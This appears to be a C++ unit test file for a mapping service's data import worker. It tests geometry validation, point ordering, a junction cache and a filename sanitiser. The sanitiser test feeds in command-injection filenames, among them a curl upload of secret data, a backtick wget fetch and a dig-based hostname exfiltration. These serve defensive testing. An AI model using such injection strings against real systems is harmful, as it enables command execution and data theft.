#include <maps/wikimap/mapspro/services/tasks_misc/src/import_worker/tests/helpers.h>

#include <maps/wikimap/mapspro/services/tasks_misc/src/import_worker/lib/gdal_helpers.h>
#include <maps/wikimap/mapspro/services/tasks_misc/src/import_worker/lib/message_reporter.h>
#include <maps/wikimap/mapspro/services/tasks_misc/src/import_worker/lib/secure_filename.h>
#include <maps/wikimap/mapspro/services/tasks_misc/src/import_worker/lib/validate.h>

#include <limits>

namespace maps {
namespace wiki {
namespace importer {
namespace test {

Y_UNIT_TEST_SUITE(other) {

Y_UNIT_TEST(test_edit_rd_el)
{
    EditorConfig editorConfig(EDITOR_CONFIG_PATH);
    ImportConfig importConfig;
    MessageReporter messageReporter;
    ObjectsCache cache;

    gdal2objects(
        dataPath("csv_edit_rd_el"), Action::Edit, cache, editorConfig, importConfig, messageReporter);

    checkMessageReporter(messageReporter);
}

Y_UNIT_TEST(test_validate_geometry)
{
    EditorConfig config(EDITOR_CONFIG_PATH);

    OGRPoint point;
    point.setX(std::numeric_limits<double>::infinity());

    UNIT_CHECK_GENERATED_EXCEPTION(validateGeometry(config.category("poi_auto"), &point), maps::Exception);
}

Y_UNIT_TEST(test_compare_points)
{
    OGRPoint point1(123, 456);
    OGRPoint point2(123, 456);
    OGRPoint point3(456, 123);
    OGRPoint point4(123.5, 456);
    OGRPoint point5(123, 456.5);

    PointComparator less;
    UNIT_ASSERT(!less(point1, point2));
    UNIT_ASSERT(!less(point2, point1));
    UNIT_ASSERT(less(point1, point3));
    UNIT_ASSERT(!less(point3, point1));
    UNIT_ASSERT(less(point1, point4));
    UNIT_ASSERT(!less(point4, point1));
    UNIT_ASSERT(less(point1, point5));
    UNIT_ASSERT(!less(point5, point1));
}

Y_UNIT_TEST(test_junctions_cache)
{
    EditorConfig config(EDITOR_CONFIG_PATH);

    OGRPoint point1(123, 456);
    OGRPoint point2(123, 456);
    OGRPoint point3(456, 123);

    ObjectsCache cache;
    auto obj1 = cache.getOrCreateJunction({"layer", 0}, point1, config.category("ad_jc"));
    auto obj2 = cache.getOrCreateJunction({"layer", 0}, point2, config.category("ad_jc"));
    auto obj3 = cache.getOrCreateJunction({"layer", 0}, point3, config.category("ad_jc"));

    UNIT_ASSERT(obj1);
    UNIT_ASSERT(obj2);
    UNIT_ASSERT(obj3);
    UNIT_ASSERT_EQUAL(obj1, obj2);
    UNIT_ASSERT_UNEQUAL(obj1, obj3);
}

Y_UNIT_TEST(test_secure_filename)
{
    UNIT_ASSERT_EQUAL(secureFilename("english.zip"), "english.zip");
    UNIT_ASSERT_EQUAL(secureFilename("по-русски.tar.gz"), "по-русски.tar.gz");
    UNIT_ASSERT_EQUAL(secureFilename("日本語.gz"), "日本語.gz");
    UNIT_ASSERT_EQUAL(secureFilename("бесовская${чертовщина}"), "бесовскаячертовщина");
    UNIT_ASSERT_EQUAL(secureFilename(". && curl -s 127.0.0.1/upload -d @secret_data"), ".curl-s127.0.0.1upload-dsecret_data");
    UNIT_ASSERT_EQUAL(secureFilename("`wget{IFS}127.0.0.1:8080`File.zip"), "wgetIFS127.0.0.18080File.zip");
    UNIT_ASSERT_EQUAL(secureFilename("`dig${IFS}$(hostname|base64|sed${IFS}'s').yandex.ru`File.zip"), "digIFShostnamebase64sedIFSs.yandex.ruFile.zip");
}

} // Y_UNIT_TEST_SUITE

} // test
} // importer
} // wiki
} // maps
